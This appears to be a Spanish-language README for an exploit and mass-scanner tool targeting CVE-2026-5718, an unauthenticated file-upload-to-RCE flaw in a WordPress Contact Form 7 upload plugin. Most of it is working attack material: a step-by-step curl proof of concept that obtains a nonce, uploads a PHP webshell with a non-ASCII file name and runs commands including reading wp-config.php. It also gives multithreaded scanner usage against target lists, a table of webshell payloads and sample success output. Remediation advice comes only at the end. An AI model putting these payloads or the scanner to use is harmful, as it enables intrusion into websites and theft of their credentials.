
CVE-2026-5718: Subida de archivos no autenticada a RCE en el plugin DnD Upload CF7
CVE-2026-5718: Subida de archivos no autenticada a RCE en el plugin DnD Upload CF7
Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Slug del plugin:
drag-and-drop-multiple-file-upload-contact-form-7ID CVE: CVE-2026-5718 Puntuación CVSS: 8.1 (Alta) Vector CVSS:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTipo de vulnerabilidad: Subida arbitraria de archivos no autenticada → Ejecución remota de código Versiones afectadas: <= 1.3.9.6 Versión parcheada: 1.3.9.7 Fecha de publicación: 17 de abril de 2026 Investigador: Leonid Semenenko (lsemenenko) — Wordfence
En el plugin Drag and Drop Multiple File Upload for Contact Form 7, dos errores lógicos independientes se combinan para permitir que atacantes no autenticados suban un webshell PHP.
Destrucción de la lista negra: Una configuración personalizada de lista negra la lista predeterminada de extensiones peligrosas, en lugar de combinarse. ya no está bloqueado.
phpBypass de caracteres no ASCII: La presencia de caracteres no ASCII en el nombre del archivo
impide que se llame a la función wpcf7_antiscript_file_name().
La extensión .php se conserva y el archivo se escribe en el disco.
| Campo | Valor |
|---|---|
| Nombre del plugin | Drag and Drop Multiple File Upload for CF7 |
| ID CVE | CVE-2026-5718 |
| Puntuación CVSS | 8.1 (Alta) |
| Tipo de vulnerabilidad | Subida arbitraria de archivos no autenticada |
| Versión afectada | <= 1.3.9.6 |
| Versión parcheada | 1.3.9.7 |
| Requisito previo | Configuración personalizada blacklist-types en un formulario CF7 |
// inc/dnd-upload-cf7.php — líneas 62–71
function dnd_wpcf7_nonce_check() {
// Única protección: comprobación de 'curl' en User-Agent — fácil de eludir
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// Nonce inválido → DEVUELVE UN NUEVO NONCE
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
La acción wp_ajax_nopriv__wpcf7_check_nonce es pública.
Cuando se envía un nonce inválido, se entrega un nuevo nonce de forma gratuita.
Con un User-Agent de Mozilla se elude la comprobación de curl.
// inc/dnd-upload-cf7.php — líneas 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 extensiones peligrosas: php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// ↑ ASIGNACIÓN (=) — NO COMBINACIÓN
// Lista personalizada: solo ['zip']
// 'php' ya NO está en la lista → se acepta
}
Configuración del tag de formulario que lo desencadena:
[mfile upload-file filetypes="*" blacklist-types:zip]
El administrador quiere bloquear ZIP → el plugin elimina toda la lista de denegación predeterminada.
Ahora se aceptan todas las extensiones peligrosas, incluido php.
Además, la lista hardcodeada para filetypes="*" también está incompleta:
// línea 927 — faltan 'php', 'php3', 'php4', 'pht', 'phtml'
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
// inc/dnd-upload-cf7.php — líneas 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// Solo se llama para nombres de archivo puramente ASCII
$filename = wpcf7_antiscript_file_name( $ascii_name );
// ↑ convertiría shell.php en shell.php.txt — pero se omite
}
// Si hay caracteres no ASCII, este bloque SE OMITE
// $filename = "shellシ.php" → la extensión .php se conserva
// dnd_cf7_check_ascii() — líneas 1029–1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// ↑ Solo cambia una copia local, no afecta al $filename externo
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // Carácter no ASCII → false → se omite antiscript
}
┌─────────────────────────────────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │
│ User-Agent: Mozilla/5.0 (no curl) │
│ │ │
│ ▼ │
│ {"success":true,"data":"abc123def456"} │
│ → Nonce obtenido gratuitamente │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │
│ security=abc123def456 │
│ upload-file=shellシ.php (Content-Type: application/x-php) │
│ │ │
│ ├── Nonce válido ✓ │
│ ├── blacklist=['zip'] → 'php' no bloqueado ✓ │
│ ├── dnd_cf7_check_ascii("shellシ.php") = false │
│ ├── wpcf7_antiscript_file_name() OMITIDO ✓ │
│ └── move_uploaded_file("shellシ.php") → Escrito a disco│
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ GET /wp-content/uploads/wp_dndcf7_uploads/ │
│ wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → RCE no autenticado ✓ │
└─────────────────────────────────────────────────────────────┘
⚠️ Descargo de responsabilidad: Este PoC se proporciona únicamente con fines educativos y de investigación defensiva. Úselo solo en sistemas que posea o sobre los que tenga autorización explícita por escrito para realizar pruebas.
Requisitos previos:
[mfile] que contenga blacklist-types:
[mfile upload-file filetypes="*" blacklist-types:zip]
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
Respuesta esperada:
{"success": true, "data": "abc123def456"}
# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
Respuesta esperada:
{
"success": true,
"data": {
"path": "<session-folder-uuid>",
"file": "shellシ.php"
}
}
UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"
# comando id
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# leer wp-config.php
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt
requirements.txt
requests
python dnd_cf7_upload.py -u http://hedef.com
python dnd_cf7_upload.py -u http://hedef.com \
--form-id 1 --field-name upload-file
python dnd_cf7_upload.py -u http://hedef.com \
--shell-type full --verify-cmd "whoami"
python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
python dnd_cf7_upload.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
| Parámetro | Corto | Descripción | Predeterminado |
|---|---|---|---|
--url | -u | URL del objetivo único | — |
--list | -l | Archivo con lista de objetivos | — |
--threads | -t | Número de hilos | 10 |
--output | -o | Archivo de salida | rce_results.txt |
--form-id | — | ID del formulario CF7 | detección automática |
--field-name | — | Nombre del campo mfile | upload-file |
--shell-name | — | Nombre del archivo shell | shell |
--shell-type | — | Tipo de shell | system |
--verify-cmd | — | Comando de verificación RCE | id |
--proxy | — | URL del proxy | — |
--timeout | — | Timeout de solicitud (seg) | 10 |
--force | — | Continuar aunque falle la detección del plugin | False |
| Tipo | Payload | Descripción |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | Comando de sistema básico |
passthru | <?php passthru($_GET["cmd"]); ?> | Salida sin procesar |
exec | <?php echo exec($_GET["cmd"]); ?> | Ejecución silenciosa |
assert | <?php assert($_POST["cmd"]); ?> | Evaluación con POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Ofuscación Base64 |
full | shell_exec + system + exec fallback | Cobertura completa |
El escáner prueba los siguientes caracteres en orden:
| Carácter | Unicode | Descripción |
|---|---|---|
シ | U+30B7 | Katakana Si (usado en el PoC) |
ж | U+0436 | Cirílico |
ñ | U+00F1 | Latino Extendido |
中 | U+4E2D | CJK |
α | U+03B1 | Griego |
ß | U+00DF | Alemán |
Raíz de WordPress/
└── wp-content/
└── uploads/
└── wp_dndcf7_uploads/
└── wpcf7-files/
└── <session-uuid>/
└── shellシ.php ← Shell aquí
⚠️ Nota: El plugin limpia los archivos después de 1 hora de forma predeterminada. El shell es accesible durante ese período.
| Estado | Descripción |
|---|---|
★ RCE OK | Shell subido + comando ejecutado |
★ SHELL ALIVE | Shell accesible, respuesta diferente |
~ EXEC_DISABLED | Shell existe, exec() deshabilitado |
~ HTACCESS | Shell subido pero bloqueado por .htaccess |
? UPLOADED | Subido pero URL no encontrada |
- UPL_FAIL | Subida fallida (parcheado/sin configuración) |
~ NO_NONCE | No se pudo obtener el nonce |
- NO_PLUGIN | Plugin no instalado |
~ UNREACH | Objetivo inalcanzable |
[*] Objetivo : http://hedef.com
[*] ID Form : detección automática
[*] Tipo Shell : system
[*] CMD Verif : id
[→] http://hedef.com Paso 1/5: Obteniendo nonce...
[→] http://hedef.com Paso 2/5: Detectando formulario CF7...
[→] http://hedef.com Paso 3/5: Subiendo shell (bypass no ASCII)...
[→] http://hedef.com Paso 4/5: Construyendo URL del shell...
[→] http://hedef.com Paso 5/5: Verificando RCE...
═════════════════════════════════════════════════════════════════
[★ RCE OK ] http://hedef.com
Versión : 1.3.9.6
Nonce : abc123def4 (fuente: ajax_endpoint)
No-ASCII : シ
Shell URL : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
Salida RCE : uid=33(www-data) gid=33(www-data) groups=33(www-data)
═════════════════════════════════════════════════════════════════
[+] Guardado → rce_results.txt
| Medida | Implementación |
|---|---|
| Actualización del plugin | Actualizar a la versión 1.3.9.7+ |
| Combinación de listas negras | Usar array_merge() en lugar de = |
| Antiscript incondicional | wpcf7_antiscript_file_name() debe llamarse siempre |
| Protección de nonce | El endpoint del nonce debe cerrarse al acceso público |
| .htaccess | Bloquear la ejecución de PHP en el directorio de subidas |
Combinación segura de listas negras:
// Inseguro (actual — 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// Seguro (recomendado — 1.3.9.7+)
$blacklist_types = array_merge(
dnd_cf7_not_allowed_ext(),
explode( '|', $blacklist["$cf7_upload_name"] )
);
Antiscript incondicional:
// Inseguro (actual)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
$filename = wpcf7_antiscript_file_name( $ascii_name );
}
// Seguro (recomendado)
$filename = wpcf7_antiscript_file_name( $filename ); // llamar siempre
.htaccess del directorio de subidas:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-5718-scanner/
├── dnd_cf7_upload.py # Escáner principal
├── requirements.txt # Dependencias
└── README.md # Este archivo
Esta herramienta y PoC están preparados únicamente para su uso en sistemas autorizados, con fines educativos y dentro del contexto de pruebas de penetración. Su uso en sistemas no autorizados constituye un delito según el Código Penal Turco (artículos 243-245) y las leyes internacionales de delitos cibernéticos. El desarrollador no acepta ninguna responsabilidad legal derivada del mal uso de la herramienta.
Licencia MIT — Solo para fines educativos y de investigación.